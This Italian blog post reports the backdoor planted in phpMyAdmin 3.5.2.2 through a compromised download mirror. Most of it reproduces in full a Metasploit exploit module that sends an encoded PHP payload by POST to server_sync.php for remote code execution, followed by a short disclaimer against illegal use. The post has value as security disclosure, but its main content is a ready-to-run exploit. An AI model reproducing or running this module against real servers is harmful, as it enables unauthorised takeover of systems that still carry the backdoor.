Uscito qualche giorno fa il bollettino di sicurezza parla di una backdoor in phpMyAdmin. Chi di noi non ha mai usato questo fantastico client per rendersi la vita più semplice utilizzando i database? Se avete scaricato la versione 3.5.2.2 di phpMyAdmin siete nei guai…

Gli hacker sono riusciti a prendere possesso di uno dei mirror chiamato cdnetworks-kr-1 e installare sul pacchetto phpMyAdmin-3.5.2.2-all-languages.zip la backdoor modificando anche il file js/cross_framing_protection.js.

Utilizzando il framework metasploit si ha la possibilità di testare il codice malevolo sul sito infettato. La backdoor si trova nel file server_sync.php di seguito troverete il codice del modulo da inserire in metasploit:

50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote   Rank = NormalRanking     include Msf::Exploit::Remote::Tcp   include Msf::Exploit::Remote::HttpClient     def initialize(info = {})     super(update_info(info,       'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
      'Description'    => %q{
          This module exploits an arbitrary code execution backdoor 
        placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => 'Sep 25 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))
 
    register_options([
      OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ], self.class)
  end
 
  def exploit
 
    uris = []
 
    tpath = datastore['PATH']
    if tpath[-1,1] == '/'
      tpath = tpath.chop
    end
 
    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
 
    res = send_request_raw( {
      'global'  => true,
      'uri'     => tpath + "/server_sync.php",
      'method'  => 'POST',
      'data'    => pdata,
      'headers' => {
        'Content-Type'   => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)
 
    handler
  end
end

Mi raccomando lo scopo di questo post è solo per informarvi che esiste questa grave falla. Non utilizzare la vulnerabilità per scopi illegali.